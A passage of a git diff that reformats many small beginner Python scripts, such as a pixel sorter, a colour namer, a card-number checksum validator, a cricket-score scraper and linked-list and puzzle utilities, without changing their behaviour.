fd422ad8c42..3c3c06ea616 100644 --- a/Colors/pixel_sort.py +++ b/Colors/pixel_sort.py @@ -1,150 +1,169 @@ -'''Pixel Sorting''' +"""Pixel Sorting""" -#Importing Libraries +# Importing Libraries import cv2 import numpy as np -import math +import math import colorsys import pandas as pd -import os -import argparse +import os +import argparse from tqdm import tqdm -#Importing the external file Library -import sound +# Importing the external file Library +import sound -#Taking arguments from command line -parser = argparse.ArgumentParser() #you iniatize as such +# Taking arguments from command line +parser = argparse.ArgumentParser() # you iniatize as such parser.add_argument("-f", required=True, help="enter fileName of your picture") -#parser.add_argument("-s", required=True, help="Speed factor of the audio to be increased or decreased") -#parser.add_argument("-av", required=True, help="Speed factor of the audio visualizer to be increased or decreased") +# parser.add_argument("-s", required=True, help="Speed factor of the audio to be increased or decreased") +# parser.add_argument("-av", required=True, help="Speed factor of the audio visualizer to be increased or decreased") -#the add_argument tells you what needs to be given as an input sp its help -args = parser.parse_args() #you take the arguments from command line +# the add_argument tells you what needs to be given as an input sp its help +args = parser.parse_args() # you take the arguments from command line -os.makedirs("Image_sort/"+str(args.f)) -print(str(args.f).capitalize()+" directory is created.") +os.makedirs("Image_sort/" + str(args.f)) +print(str(args.f).capitalize() + " directory is created.") -#Defining all global variables +# Defining all global variables df = [] total = 0 -dict , final , img_list = {} , [] , [] - -#Create dataframe and save it as an excel file -def createDataSet(val = 0 , data = []) : - global dict - dict[len(data)] = data - if val != 0 : - if val == max(dict.keys()) : - final_df = pd.DataFrame(dict[val],columns=["Blue","Green","Red"]) - final_df.to_excel("Image_sort/"+str(args.f)+"/"+"output.xlsx") - - -#Generating colors for each row of the frame -def generateColors(c_sorted,frame,row) : - global df , img_list - height = 25 - img = np.zeros((height,len(c_sorted),3),np.uint8) - for x in range(0,len(c_sorted)) : - r ,g , b = c_sorted[x][0]*255,c_sorted[x][1]*255,c_sorted[x][2]*255 - c = [r,g,b] +dict, final, img_list = {}, [], [] + +# Create dataframe and save it as an excel file +def createDataSet(val=0, data=[]): + global dict + dict[len(data)] = data + if val != 0: + if val == max(dict.keys()): + final_df = pd.DataFrame(dict[val], columns=["Blue", "Green", "Red"]) + final_df.to_excel("Image_sort/" + str(args.f) + "/" + "output.xlsx") + + +# Generating colors for each row of the frame +def generateColors(c_sorted, frame, row): + global df, img_list + height = 25 + img = np.zeros((height, len(c_sorted), 3), np.uint8) + for x in range(0, len(c_sorted)): + r, g, b = c_sorted[x][0] * 255, c_sorted[x][1] * 255, c_sorted[x][2] * 255 + c = [r, g, b] df.append(c) - img[:,x] = c #the color value for the xth column , this gives the color band - frame[row,x] = c #changes added for every row in the frame - - createDataSet(data = df) - return img , frame - -#Measures the total number of pixels that were involved in pixel sort -def measure(count,row,col,height,width) : - global total - total += count - if row==height-1 and col == width-1 : - createDataSet(val = total) - -#Step Sorting Algorithm -def step (bgr,repetitions=1): - b,g,r = bgr - #lum is calculated as per the way the humans view the colors - lum = math.sqrt( .241 * r + .691 * g + .068 * b ) - - #conversion of rgb to hsv values - h, s, v = colorsys.rgb_to_hsv(r,g,b) # h,s,v is a better option for classifying each color - - #Repetitions are taken to decrease the noise + img[:, x] = c # the color value for the xth column , this gives the color band + frame[row, x] = c # changes added for every row in the frame + + createDataSet(data=df) + return img, frame + + +# Measures the total number of pixels that were involved in pixel sort +def measure(count, row, col, height, width): + global total + total += count + if row == height - 1 and col == width - 1: + createDataSet(val=total) + + +# Step Sorting Algorithm +def step(bgr, repetitions=1): + b, g, r = bgr + # lum is calculated as per the way the humans view the colors + lum = math.sqrt(0.241 * r + 0.691 * g + 0.068 * b) + + # conversion of rgb to hsv values + h, s, v = colorsys.rgb_to_hsv( + r, g, b + ) # h,s,v is a better option for classifying each color + + # Repetitions are taken to decrease the noise h2 = int(h * repetitions) v2 = int(v * repetitions) - - #To get a smoother color band + + # To get a smoother color band if h2 % 2 == 1: v2 = repetitions - v2 lum = repetitions - lum - + return h2, lum, v2 -#Threshold set for avoiding extreme sorting of the pixels -def findThreshold(lst , add) : - for i in lst : + +# Threshold set for avoiding extreme sorting of the pixels +def findThreshold(lst, add): + for i in lst: add.append(sum(i)) - return (max(add)+min(add))/2 - -def makeVideo() : - out = cv2.VideoWriter("Image_sort/"+str(args.f)+"/"+str(args.f)+".mp4",cv2.VideoWriter_fourcc(*'mp4v'), 16, (800,500)) - for count in tqdm(range(1,500+1)) : - fileName = "Image_sort/"+str(args.f)+"/"+str(count)+".jpg" - img = cv2.imread(fileName) - out.write(img) - os.remove(fileName) + return (max(add) + min(add)) / 2 + + +def makeVideo(): + out = cv2.VideoWriter( + "Image_sort/" + str(args.f) + "/" + str(args.f) + ".mp4", + cv2.VideoWriter_fourcc(*"mp4v"), + 16, + (800, 500), + ) + for count in tqdm(range(1, 500 + 1)): + fileName = "Image_sort/" + str(args.f) + "/" + str(count) + ".jpg" + img = cv2.imread(fileName) + out.write(img) + os.remove(fileName) out.release() -def main() : - global img_list - img = cv2.imread("Image/"+str(args.f)+".jpg") - img = cv2.resize(img,(800,500)) - img_list.append(img) - - height , width , _ = img.shape + +def main(): + global img_list + img = cv2.imread("Image/" + str(args.f) + ".jpg") + img = cv2.resize(img, (800, 500)) + img_list.append(img) + + height, width, _ = img.shape print(">>> Row-wise Color sorting") - for row in tqdm(range(0,height)) : - color , color_n = [] , [] + for row in tqdm(range(0, height)): + color, color_n = [], [] add = [] - - for col in range(0,width) : + + for col in range(0, width): val = img[row][col].tolist() - - #val includes all rgb values between the range of 0 to 1 - #This makes the sorting easier and efficient - val = [i/255.0 for i in val] - color.append(val) - - thresh = findThreshold(color, add) #setting the threshold value for every row in the frame - - #For the specific row , if all the values are non-zero then it is sorted with color - if np.all(np.asarray(color)) == True : - color.sort(key=lambda bgr : step(bgr,8)) #step sorting - band , img = generateColors(color,img,row) - measure(len(color),row,col,height,width) - - #For the specific row , if any of the values are zero it gets sorted with color_n - if np.all(np.asarray(color)) == False : - for ind , i in enumerate(color) : - #Accessing every list within color - #Added to color_n if any of the element in the list is non-zero - #and their sum is less than threshold value - - if np.any(np.asarray(i)) == True and sum(i) < thresh : - color_n.append(i) - - color_n.sort(key=lambda bgr : step(bgr,8)) #step sorting - band , img = generateColors(color_n,img,row) - measure(len(color_n),row,col,height,width) - cv2.imwrite("Image_sort/"+str(args.f)+"/"+str(row+1)+".jpg" , img) - - #Writing down the final sorted image - cv2.imwrite("Image_sort/"+str(args.f)+"/"+str(args.f)+".jpg",img) #Displaying the final picture - + + # val includes all rgb values between the range of 0 to 1 + # This makes the sorting easier and efficient + val = [i / 255.0 for i in val] + color.append(val) + + thresh = findThreshold( + color, add + ) # setting the threshold value for every row in the frame + + # For the specific row , if all the values are non-zero then it is sorted with color + if np.all(np.asarray(color)) == True: + color.sort(key=lambda bgr: step(bgr, 8)) # step sorting + band, img = generateColors(color, img, row) + measure(len(color), row, col, height, width) + + # For the specific row , if any of the values are zero it gets sorted with color_n + if np.all(np.asarray(color)) == False: + for ind, i in enumerate(color): + # Accessing every list within color + # Added to color_n if any of the element in the list is non-zero + # and their sum is less than threshold value + + if np.any(np.asarray(i)) == True and sum(i) < thresh: + color_n.append(i) + + color_n.sort(key=lambda bgr: step(bgr, 8)) # step sorting + band, img = generateColors(color_n, img, row) + measure(len(color_n), row, col, height, width) + cv2.imwrite("Image_sort/" + str(args.f) + "/" + str(row + 1) + ".jpg", img) + + # Writing down the final sorted image + cv2.imwrite( + "Image_sort/" + str(args.f) + "/" + str(args.f) + ".jpg", img + ) # Displaying the final picture + print("\n>>> Formation of the Video progress of the pixel-sorted image") makeVideo() - sound.main(args.f) #Calling the external python file to create the audio of the pixel-sorted image - -main() \ No newline at end of file + sound.main( + args.f + ) # Calling the external python file to create the audio of the pixel-sorted image + + +main() diff --git a/Colors/primary_colors.py b/Colors/primary_colors.py index 73882d4b78b..107056fbd7d 100644 --- a/Colors/primary_colors.py +++ b/Colors/primary_colors.py @@ -5,46 +5,46 @@ def diff(a, b): return a - b -def simpleColor(r,g,b): - """ simpleColor obtiene el nombre del color mas general al cual se acerca su formato R G B """ - r=int(r) - g=int(g) - b=int(b) +def simpleColor(r, g, b): + """simpleColor obtiene el nombre del color mas general al cual se acerca su formato R G B""" + r = int(r) + g = int(g) + b = int(b) bg = ir = 0 # TODO: Fix these variables try: - #ROJO -------------------------------------------------- + # ROJO -------------------------------------------------- if r > g and r > b: - rg = diff(r,g) #distancia rojo a verde - rb = diff(r,b) #distancia rojo a azul + rg = diff(r, g) # distancia rojo a verde + rb = diff(r, b) # distancia rojo a azul - if g < 65 and b < 65 and rg > 60: #azul y verde sin luz + if g < 65 and b < 65 and rg > 60: # azul y verde sin luz return "ROJO" - gb=diff(g,b) #distancia de verde a azul + gb = diff(g, b) # distancia de verde a azul - if rg < rb: # Verde mayor que Azul - if gb < rg: #Verde mas cerca de Azul - if gb >=30 and rg >= 80: + if rg < rb: # Verde mayor que Azul + if gb < rg: # Verde mas cerca de Azul + if gb >= 30 and rg >= 80: return "NARANJA" - elif gb<=20 and rg >= 80: + elif gb <= 20 and rg >= 80: return "ROJO" - elif gb<=20 and b > 175: + elif gb <= 20 and b > 175: return "CREMA" else: return "CHOCOLATE" - else: #Verde mas cerca de Rojo + else: # Verde mas cerca de Rojo if rg > 60: return "NARANJA*" elif r > 125: return "AMARILLO" else: - return "COCHOLATE" - elif rg > rb: #Azul mayor que verde - if bg < rb: #Verde mas cerca de Azul + return "COCHOLATE" + elif rg > rb: # Azul mayor que verde + if bg < rb: # Verde mas cerca de Azul if gb < 60: - if r >150: + if r > 150: return "ROJO 2" else: return "MARRON" @@ -52,20 +52,20 @@ def simpleColor(r,g,b): return "ROSADO" else: return "ROJO 3" - else: #Verde mas cerca de Rojo + else: # Verde mas cerca de Rojo if rb < 60: if r > 160: return "ROSADO*" else: - return "ROJO" + return "ROJO" else: return "ROJO" - else: # g y b iguales + else: # g y b iguales if rg > 20: - if r>=100 and b <60: + if r >= 100 and b < 60: return "ROJO" - elif r >=100: + elif r >= 100: return "ROJO" else: return "MARRON" @@ -74,58 +74,57 @@ def simpleColor(r,g,b): return "GRIS" # VERDE --------------------------------------------------- elif g > r and g > b: - gb = diff(g,b) #distancia verde a azul - gr = diff(g,r) #distancia verde a rojo + gb = diff(g, b) # distancia verde a azul + gr = diff(g, r) # distancia verde a rojo - if r < 65 and b < 65 and gb > 60: #rojo y azul sin luz + if r < 65 and b < 65 and gb > 60: # rojo y azul sin luz return "VERDE" - rb=diff(r,b) #distancia de rojo a azul + rb = diff(r, b) # distancia de rojo a azul - if r > b: #ROJO > AZUL - if gr < gb: #Verde con Rojo + if r > b: # ROJO > AZUL + if gr < gb: # Verde con Rojo - if rb>=150 and gr <=20: + if rb >= 150 and gr <= 20: return "AMARILLO" else: return "VERDE" - else: #...Verde + else: # ...Verde return "VERDE" - elif r < b: #AZUL > ROJO - if gb < gr: #Verde con Azul + elif r < b: # AZUL > ROJO + if gb < gr: # Verde con Azul - if gb<=20: + if gb <= 20: return "TURQUESA" else: return "VERDE" - else: #...Verde + else: # ...Verde return "VERDE" - else: #r y b iguales + else: # r y b iguales if gb > 10: return "VERDE" else: return "GRIS" - - #AZUL ------------------------------------------------------ + # AZUL ------------------------------------------------------ elif b > r and b > g: - bg = diff(b,g) #distancia azul a verde - br = diff(b,r) #distancia azul a rojo + bg = diff(b, g) # distancia azul a verde + br = diff(b, r) # distancia azul a rojo - if r < 65 and g < 65 and bg > 60: #rojo y verde sin luz + if r < 65 and g < 65 and bg > 60: # rojo y verde sin luz return "AZUL" - rg=diff(r,g) #distancia de rojo a verde + rg = diff(r, g) # distancia de rojo a verde - if g < r: # ROJO > VERDE - if bg < rg: #Azul con Verde - if bg<=20: + if g < r: # ROJO > VERDE + if bg < rg: # Azul con Verde + if bg <= 20: return "TURQUESA" else: return "CELESTE" - else: #...Azul + else: # ...Azul if rg <= 20: if r >= 150: return "LILA" @@ -134,9 +133,9 @@ def simpleColor(r,g,b): else: return "AZUL" - elif g > r: # VERDE > ROJO - if br < rg: #Azul con rojo - if br <=20: + elif g > r: # VERDE > ROJO + if br < rg: # Azul con rojo + if br <= 20: if r > 150 and g < 75: return "ROSADO FIUSHA" elif ir > 150: @@ -146,25 +145,23 @@ def simpleColor(r,g,b): else: return "MORADO" - - else: #...Azul + else: # ...Azul if rg <= 20: - if bg <=20: + if bg <= 20: return "GRIS" else: return "AZUL" - else: #r y g iguales + else: # r y g iguales if bg > 20: - if r>=100 and b <60: + if r >= 100 and b < 60: return "ROJO" - elif r >=100: + elif r >= 100: return "ROJO" else: return "MARRON" else: return "GRIS" - # IGUALES--------------------------------------- else: return "GRIS" @@ -174,9 +171,10 @@ def simpleColor(r,g,b): return "Not Color" -#--------------------------------------------------------------------------------------------------- +# --------------------------------------------------------------------------------------------------- # Puedes probar asi: python primary_colors.py 120,0,0 , esto resultara en un ROJO como respuesta -#-------------------------------------------------------------------------------------------------- -if __name__=='__main__': +# -------------------------------------------------------------------------------------------------- +if __name__ == "__main__": import sys - print(simpleColor(sys.argv[1],sys.argv[2],sys.argv[3])) + + print(simpleColor(sys.argv[1], sys.argv[2], sys.argv[3])) diff --git a/Colors/print_colors.py b/Colors/print_colors.py index b1e90e7447a..edf78440a22 100644 --- a/Colors/print_colors.py +++ b/Colors/print_colors.py @@ -1,16 +1,20 @@ import sys + class colors: - CYAN = '\033[36m' - GREEN = '\033[32m' - YELLOW = '\033[33m' - BLUE = '\033[34m' - RED = '\033[31m' - ENDC = '\033[0m' + CYAN = "\033[36m" + GREEN = "\033[32m" + YELLOW = "\033[33m" + BLUE = "\033[34m" + RED = "\033[31m" + ENDC = "\033[0m" + def printc(color, message): print(color + message + colors.ENDC) -#color which we print or import + + +# color which we print or import printc(colors.CYAN, sys.argv[1]) printc(colors.GREEN, sys.argv[1]) printc(colors.YELLOW, sys.argv[1]) diff --git a/Compression_Analysis/PSNR.py b/Compression_Analysis/PSNR.py index 4c11b4b396e..b3148c64c77 100644 --- a/Compression_Analysis/PSNR.py +++ b/Compression_Analysis/PSNR.py @@ -1,11 +1,12 @@ import math -#using opencv3 + +# using opencv3 import cv2 import numpy as np def Representational(r, g, b): - return (0.299 * r + 0.287 * g + 0.114 * b) + return 0.299 * r + 0.287 * g + 0.114 * b def calculate(img): @@ -16,8 +17,8 @@ def calculate(img): def main(): # Loading images (orignal image and compressed image) - orignal_image = cv2.imread('orignal_image.png', 1) - compressed_image = cv2.imread('compressed_image.png', 1) + orignal_image = cv2.imread("orignal_image.png", 1) + compressed_image = cv2.imread("compressed_image.png", 1) # Getting image height and width height, width = orignal_image.shape[:2] @@ -36,5 +37,5 @@ def main(): print("PSNR value is {}".format(PSNR)) -if __name__ == '__main__': +if __name__ == "__main__": main() diff --git a/Conversation.py b/Conversation.py index cfccb31cd93..43f469ff56c 100644 --- a/Conversation.py +++ b/Conversation.py @@ -17,7 +17,7 @@ userList = name # Python & user dialoge -print("Hello", name + ", my name is Python." ) +print("Hello", name + ", my name is Python.") time.sleep(0.8) print("The first letter of your name is", userList[0] + ".") time.sleep(0.8) @@ -47,7 +47,3 @@ else: print("You may have made an input error. Please restart and try again.") sys.exit() - - - - diff --git a/CountMillionCharacter.py b/CountMillionCharacter.py index 67b4b692886..c1aa7825a19 100644 --- a/CountMillionCharacter.py +++ b/CountMillionCharacter.py @@ -8,9 +8,9 @@ """ import re -pattern = re.compile("\W") #re is used to compile the expression more than once -#wordstring consisting of a million characters -wordstring = '''SCENE I. Yorkshire. Gaultree Forest. +pattern = re.compile("\W") # re is used to compile the expression more than once +# wordstring consisting of a million characters +wordstring = """SCENE I. Yorkshire. Gaultree Forest. Enter the ARCHBISHOP OF YORK, MOWBRAY, LORD HASTINGS, and others ARCHBISHOP OF YORK What is this forest call'd? @@ -292,19 +292,21 @@ Your grace of York, in God's name then, set forward. ARCHBISHOP OF YORK Before, and greet his grace: my lord, we come. -Exeunt''' +Exeunt""" -wordlist = wordstring.split() #splits each word with a space +wordlist = wordstring.split() # splits each word with a space for x, y in enumerate(wordlist): - special_character = pattern.search(y[-1:]) #searches for a pattern in the string + special_character = pattern.search(y[-1:]) # searches for a pattern in the string try: - if special_character.group(): #returns all matching groups + if special_character.group(): # returns all matching groups wordlist[x] = y[:-1] except BaseException: continue -wordfreq = [wordlist.count(w) for w in wordlist] #counts frequency of a letter in the given list +wordfreq = [ + wordlist.count(w) for w in wordlist +] # counts frequency of a letter in the given list print("String\n {} \n".format(wordstring)) print("List\n {} \n".format(str(wordlist))) diff --git a/CountMillionCharacters-2.0.py b/CountMillionCharacters-2.0.py index 84dd27fc9e5..a7f37a969dc 100644 --- a/CountMillionCharacters-2.0.py +++ b/CountMillionCharacters-2.0.py @@ -9,9 +9,9 @@ def main(): - file_input = input('File Name: ') + file_input = input("File Name: ") try: - with open(file_input, 'r') as info: + with open(file_input, "r") as info: count = collections.Counter(info.read().upper()) except FileNotFoundError: print("Please enter a valid file name.") diff --git a/CountMillionCharacters-Variations/variation1.py b/CountMillionCharacters-Variations/variation1.py index f294512697b..101620f911a 100644 --- a/CountMillionCharacters-Variations/variation1.py +++ b/CountMillionCharacters-Variations/variation1.py @@ -18,7 +18,7 @@ def count_chars(filename): def main(): is_exist = True # Try to open file if exist else raise exception and try again - while (is_exist): + while is_exist: try: inputFile = input("File Name / (0)exit : ").strip() if inputFile == "0": @@ -28,5 +28,5 @@ def main(): print("File not found...Try again!") -if __name__ == '__main__': +if __name__ == "__main__": main() diff --git a/Credit_Card_Validator.py b/Credit_Card_Validator.py index 0c7e772c414..08100e781fd 100644 --- a/Credit_Card_Validator.py +++ b/Credit_Card_Validator.py @@ -8,24 +8,31 @@ def __init__(self, card_no): @property def company(self): comp = None - if str(self.card_no).startswith('4'): - comp = 'Visa Card' - elif str(self.card_no).startswith(('50', '67', '58', '63',)): - comp = 'Maestro Card' - elif str(self.card_no).startswith('5'): - comp = 'Master Card' - elif str(self.card_no).startswith('37'): - comp = 'American Express Card' - elif str(self.card_no).startswith('62'): - comp = 'Unionpay Card' - elif str(self.card_no).startswith('6'): - comp = 'Discover Card' - elif str(self.card_no).startswith('35'): - comp = 'JCB Card' - elif str(self.card_no).startswith('7'): - comp = 'Gasoline Card' - - return 'Company : ' + comp + if str(self.card_no).startswith("4"): + comp = "Visa Card" + elif str(self.card_no).startswith( + ( + "50", + "67", + "58", + "63", + ) + ): + comp = "Maestro Card" + elif str(self.card_no).startswith("5"): + comp = "Master Card" + elif str(self.card_no).startswith("37"): + comp = "American Express Card" + elif str(self.card_no).startswith("62"): + comp = "Unionpay Card" + elif str(self.card_no).startswith("6"): + comp = "Discover Card" + elif str(self.card_no).startswith("35"): + comp = "JCB Card" + elif str(self.card_no).startswith("7"): + comp = "Gasoline Card" + + return "Company : " + comp def first_check(self): if 13 <= len(self.card_no) <= 19: @@ -55,13 +62,13 @@ def validate(self): if sum_ % 10 == 0: response = "Valid Card" else: - response = 'Invalid Card' + response = "Invalid Card" return response @property def checksum(self): - return '#CHECKSUM# : ' + self.card_no[-1] + return "#CHECKSUM# : " + self.card_no[-1] @classmethod def set_card(cls, card_to_check): @@ -71,7 +78,7 @@ def set_card(cls, card_to_check): card_number = input() card = CreditCard.set_card(card_number) print(card.company) -print('Card : ', card.card_no) +print("Card : ", card.card_no) print(card.first_check()) print(card.checksum) print(card.validate()) diff --git a/Cricket_score.py b/Cricket_score.py index e63ac503295..22b8f05e319 100644 --- a/Cricket_score.py +++ b/Cricket_score.py @@ -1,12 +1,13 @@ from urllib import request -# import os -import pyttsx3 + +# import os +import pyttsx3 import bs4 # Beautiful Soup for Web Scraping from win10toast import ToastNotifier toaster = ToastNotifier() -#url from where we extrat data +# url from where we extrat data url = "http://www.cricbuzz.com/cricket-match/live-scores" @@ -16,22 +17,20 @@ score = [] results = [] -for div_tags in soup.find_all('div', attrs={"class": "cb-lv-scrs-col text-black"}): +for div_tags in soup.find_all("div", attrs={"class": "cb-lv-scrs-col text-black"}): score.append(div_tags.text) -for result in soup.find_all('div', attrs={"class": "cb-lv-scrs-col cb-text-complete"}): +for result in soup.find_all("div", attrs={"class": "cb-lv-scrs-col cb-text-complete"}): results.append(result.text) - -engine = pyttsx3.init() - -# testing + +engine = pyttsx3.init() + +# testing engine.say("match score and result is") print(score[0], results[0]) -toaster.show_toast(title=score[0], msg=results[0]) +toaster.show_toast(title=score[0], msg=results[0]) engine.runAndWait() +# initialisation - -# initialisation - -#after my update now this program speaks +# after my update now this program speaks diff --git a/Day_of_week.py b/Day_of_week.py index ce764231113..f0f9fd6f3b5 100644 --- a/Day_of_week.py +++ b/Day_of_week.py @@ -1,23 +1,28 @@ -# Python program to Find day of -# the week for a given date -import re #regular expressions -import calendar #module of python to provide useful fucntions related to calendar -import datetime # module of python to get the date and time +# Python program to Find day of +# the week for a given date +import re # regular expressions +import calendar # module of python to provide useful fucntions related to calendar +import datetime # module of python to get the date and time + def process_date(user_input): - user_input=re.sub(r"/", " ", user_input) #substitute / with space - user_input=re.sub(r"-", " ", user_input) #substitute - with space + user_input = re.sub(r"/", " ", user_input) # substitute / with space + user_input = re.sub(r"-", " ", user_input) # substitute - with space return user_input -def find_day(date): - born = datetime.datetime.strptime(date, '%d %m %Y').weekday() #this statement returns an integer corresponding to the day of the week - return (calendar.day_name[born]) #this statement returns the corresponding day name to the integer generated in the previous statement -#To get the input from the user -#User may type 1/2/1999 or 1-2-1999 -#To overcome those we have to process user input and make it standard to accept as defined by calender and time module -user_input=str(input("Enter date ")) -date=process_date(user_input) -print("Day on " +user_input + " is "+ find_day(date) ) +def find_day(date): + born = datetime.datetime.strptime( + date, "%d %m %Y" + ).weekday() # this statement returns an integer corresponding to the day of the week + return calendar.day_name[ + born + ] # this statement returns the corresponding day name to the integer generated in the previous statement +# To get the input from the user +# User may type 1/2/1999 or 1-2-1999 +# To overcome those we have to process user input and make it standard to accept as defined by calender and time module +user_input = str(input("Enter date ")) +date = process_date(user_input) +print("Day on " + user_input + " is " + find_day(date)) diff --git a/Decimal to binary/2to00000010.py b/Decimal to binary/2to00000010.py index ed7443cbadc..982afd7c913 100644 --- a/Decimal to binary/2to00000010.py +++ b/Decimal to binary/2to00000010.py @@ -3,13 +3,13 @@ import sys -binary = '$' # just starting var -n = 15 # can get 2**16 numbers +binary = "$" # just starting var +n = 15 # can get 2**16 numbers # get integer as output which is less than limit 2**16 -try: +try: input = int(input("What is your Decimal Number?")) - limit = 2**(n + 1) + limit = 2 ** (n + 1) input <= limit except ValueError: print("Please put integer in input! & less than", limit) @@ -17,11 +17,11 @@ # main algorithm while n >= 0: - if input < 2**n: - binary = binary + '0' + if input < 2 ** n: + binary = binary + "0" else: - binary = binary + '1' - input = input - 2**n + binary = binary + "1" + input = input - 2 ** n n = n - 1 print(binary) diff --git a/Decimal_To_Binary.py b/Decimal_To_Binary.py index e8f73abb252..a8e85097a14 100644 --- a/Decimal_To_Binary.py +++ b/Decimal_To_Binary.py @@ -1,66 +1,67 @@ - # patch-255 decimal_accuracy = 7 -def dtbconverter(num): - whole = [] - fractional = ['.'] +def dtbconverter(num): + + whole = [] + fractional = ["."] - decimal = round(num % 1, decimal_accuracy) - w_num = int(num) + decimal = round(num % 1, decimal_accuracy) + w_num = int(num) - i = 0 - while (decimal != 1 and i < decimal_accuracy): + i = 0 + while decimal != 1 and i < decimal_accuracy: decimal = decimal * 2 fractional.append(int(decimal // 1)) decimal = round(decimal % 1, decimal_accuracy) - if (decimal == 0): - break - i +=1 + if decimal == 0: + break + i += 1 - while (w_num != 0): + while w_num != 0: whole.append(w_num % 2) w_num = w_num // 2 whole.reverse() - - i=0 - while(i 1: - DecimalToBinary(num // 2) - print(num % 2, end = '') - -# Driver Code -if __name__ == '__main__': - - # decimal value +""" + +# Function to convert decimal number +# to binary using recursion +def DecimalToBinary(num): + + if num > 1: + DecimalToBinary(num // 2) + print(num % 2, end="") + + +# Driver Code +if __name__ == "__main__": + + # decimal value dec_val = 24 - - # Calling function - DecimalToBinary(dec_val) + + # Calling function + DecimalToBinary(dec_val) # master diff --git a/Delete_Linked_List.py b/Delete_Linked_List.py index fbc9d0a763d..263f69eb986 100644 --- a/Delete_Linked_List.py +++ b/Delete_Linked_List.py @@ -14,7 +14,7 @@ def Insert_At_End(self, new_data): self.head = new_node return current = self.head - while(current.next): + while current.next: current = current.next current.next = new_node @@ -36,7 +36,7 @@ def Delete(self, key): def Display(self): temp = self.head - while(temp): + while temp: print(temp.data, "->", end=" ") temp = temp.next print("None") diff --git a/Detect_Remove_loop.py b/Detect_Remove_loop.py index 2f59c194231..6aad9f879b9 100644 --- a/Detect_Remove_loop.py +++ b/Detect_Remove_loop.py @@ -14,13 +14,13 @@ def Insert_At_End(self, new_data): self.head = new_node return current = self.head - while(current.next): + while current.next: current = current.next current.next = new_node def Detect_and_Remove_Loop(self): slow = fast = self.head - while(slow and fast and fast.next): + while slow and fast and fast.next: slow = slow.next fast = fast.next.next if slow == fast: @@ -31,9 +31,9 @@ def Detect_and_Remove_Loop(self): def Remove_loop(self, Loop_node): ptr1 = self.head - while(1): + while 1: ptr2 = Loop_node - while(ptr2.next != Loop_node and ptr2.next != ptr1): + while ptr2.next != Loop_node and ptr2.next != ptr1: ptr2 = ptr2.next if ptr2.next == ptr1: break @@ -42,7 +42,7 @@ def Remove_loop(self, Loop_node): def Display(self): temp = self.head - while(temp): + while temp: print(temp.data, "->", end=" ") temp = temp.next print("None") diff --git a/Dictionary opperations (input,update a dict).py b/Dictionary opperations (input,update a dict).py index 323466655a8..6a157b3578e 100644 --- a/Dictionary opperations (input,update a dict).py +++ b/Dictionary opperations (input,update a dict).py @@ -1,20 +1,21 @@ -#Update the value of dictionary written by the user... +# Update the value of dictionary written by the user... print("Dictinary opperations") -def Dictionary(Dict,key,value): - print("Original dictionary",Dict) - Dict[key]=value - print("Updated dictionary",Dict) -d=eval(input("Enter the dictionary")) -print("Dictionary",d,"\n") -k=input("Enter the key to be updated") +def Dictionary(Dict, key, value): + print("Original dictionary", Dict) + Dict[key] = value + print("Updated dictionary", Dict) + + +d = eval(input("Enter the dictionary")) +print("Dictionary", d, "\n") + +k = input("Enter the key to be updated") if k in d.keys(): - v=input("Enter the updated value") - Dictionary(d,k,v) + v = input("Enter the updated value") + Dictionary(d, k, v) else: print("Key not found") - - diff --git a/Downloaded Files Organizer/browser_status.py b/Downloaded Files Organizer/browser_status.py index d40bf4b3830..537269b62a3 100644 --- a/Downloaded Files Organizer/browser_status.py +++ b/Downloaded Files Organizer/browser_status.py @@ -1,16 +1,16 @@ import psutil from obs import watcher -browsers=["chrome.exe","firefox.exe","edge.exe","iexplore.exe"] -#ADD DOWNLOADS PATH HERE::: r is for raw string enter the path -#Example: path_to_watch=r"C:\Users\Xyz\Downloads" -#find downloads path . +browsers = ["chrome.exe", "firefox.exe", "edge.exe", "iexplore.exe"] +# ADD DOWNLOADS PATH HERE::: r is for raw string enter the path +# Example: path_to_watch=r"C:\Users\Xyz\Downloads" +# find downloads path . -path_to_watch=r" " +path_to_watch = r" " -for browser in browsers: - while browser in (process.name() for process in psutil.process_iter()): - watcher(path_to_watch) +for browser in browsers: + while browser in (process.name() for process in psutil.process_iter()): + watcher(path_to_watch) diff --git a/Downloaded Files Organizer/obs.py b/Downloaded Files Organizer/obs.py index 7110a8cef0a..c084dfa15ec 100644 --- a/Downloaded Files Organizer/obs.py +++ b/Downloaded Files Organizer/obs.py @@ -1,27 +1,23 @@ def watcher(path): - #python script to observe changes in a folder + # python script to observe changes in a folder import sys import time import os from watchdog.observers import Observer from watchdog.events import FileSystemEventHandler from move_to_directory import add_to_dir - - - class Handler(FileSystemEventHandler): - def on_created(self,event): - if event.event_type=="created": - file_name = os.path.basename(event.src_path) - ext = os.path.splitext(event.src_path)[1] - time.sleep(2) - add_to_dir(ext[1:],event.src_path,path) - observer.stop() - + class Handler(FileSystemEventHandler): + def on_created(self, event): + if event.event_type == "created": + file_name = os.path.basename(event.src_path) + ext = os.path.splitext(event.src_path)[1] + time.sleep(2) + add_to_dir(ext[1:], event.src_path, path) + observer.stop() observer = Observer() - event_handler = Handler() - observer.schedule(event_handler,path,recursive=True) + event_handler = Handler() + observer.schedule(event_handler, path, recursive=True) observer.start() observer.join() - diff --git a/Eight_Puzzle_Solver/eight_puzzle.py b/Eight_Puzzle_Solver/eight_puzzle.py index 50ecef1d5ca..703df00b3e6 100644 --- a/Eight_Puzzle_Solver/eight_puzzle.py +++ b/Eight_Puzzle_Solver/eight_puzzle.py @@ -2,23 +2,25 @@ from collections import deque from copy import deepcopy from queue import PriorityQueue + # import time # from collections import Counter + class Node: - def __init__(self,state,depth = 0,moves = None,optimizer=0): - ''' - Parameters: - state: State of Puzzle - depth: Depth of State in Space Search Tree - moves: Moves List to reach this state from initial state - optimizer: Used for UCS Only - 0 - Manhattan Distance - 1 - Hamming Distance - 2 - Combination of 0 and 1 - - Returns: Node Object - ''' + def __init__(self, state, depth=0, moves=None, optimizer=0): + """ + Parameters: + state: State of Puzzle + depth: Depth of State in Space Search Tree + moves: Moves List to reach this state from initial state + optimizer: Used for UCS Only + 0 - Manhattan Distance + 1 - Hamming Distance + 2 - Combination of 0 and 1 + + Returns: Node Object + """ self.state = state self.size = len(state) self.depth = depth @@ -27,312 +29,372 @@ def __init__(self,state,depth = 0,moves = None,optimizer=0): self.moves = list() else: self.moves = moves - def getAvailableActions(self): - ''' - Parameters: Current State - Returns: Available Actions for Current State - 0 - Left 1 - Right 2 - Top 3 - Bottom - Restrictions: state is self.size x self.size Array - ''' + """ + Parameters: Current State + Returns: Available Actions for Current State + 0 - Left 1 - Right 2 - Top 3 - Bottom + Restrictions: state is self.size x self.size Array + """ action = list() for i in range(self.size): for j in range(self.size): - if 